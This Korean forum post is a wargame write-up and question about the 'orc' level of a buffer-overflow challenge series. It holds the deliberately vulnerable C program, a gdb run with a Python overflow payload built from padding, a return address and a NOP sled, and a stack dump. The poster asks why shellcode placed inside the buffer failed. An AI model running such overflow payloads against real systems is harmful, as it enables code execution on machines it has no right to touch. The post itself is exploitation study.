|
http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1941 [복사]
/*
The Lord of the BOF : The Fellowship of the BOF
- orc
- egghunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
(gdb) r `python -c 'print "A"*40+"BBBB"+"CCC"+"\xbf"+"\x90"*1000'`
Starting program: /home/goblin/tmp/orc `python -c 'print "A"*40+"BBBB"+"CCC"+"\xbf"+"\x90"*1000'`
Breakpoint 1, 0x80485c2 in main ()
(gdb) x/200x $esp
0xbffff6a4: 0xbffff6b0 0xbffff82c 0x00000017 0x41414141
0xbffff6b4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d4: 0x41414141 0x42424242 0xbf434343 0x90909090
0xbffff6e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff6f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff704: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff714: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff724: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff734: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff744: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff754: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff764: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff774: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff784: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff794: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff7f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff804: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff814: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff824: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff834: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff844: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff854: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff864: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff874: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff884: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff894: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8b4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8c4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8d4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8e4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff8f4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff904: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff914: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff924: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff934: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff944: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff954: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff964: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff974: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff984: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff994: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9a4: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9b4: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb)
밑에 감사하게 답변해주신 kjs님 말씀대로 코어를 볼려고 했는데
코어파일이 생성이 안 되어서...
그래도 일단 클리어는 했습니다.
그런데 궁금한건 왜 buf[40]사이에 쉘코드를 넣고 공격하면 쉘이 안 뜨는 걸까요?
ret뒤에 아주~~ 널널하게 NOP를 1000개 넣고 그 사이에 쉘을 넣으니깐 공격에 성공하였습니다.
어떻게 된거죠? |
Hit : 2629 Date : 2018/09/23 04:01
|
1576, 
1/79 
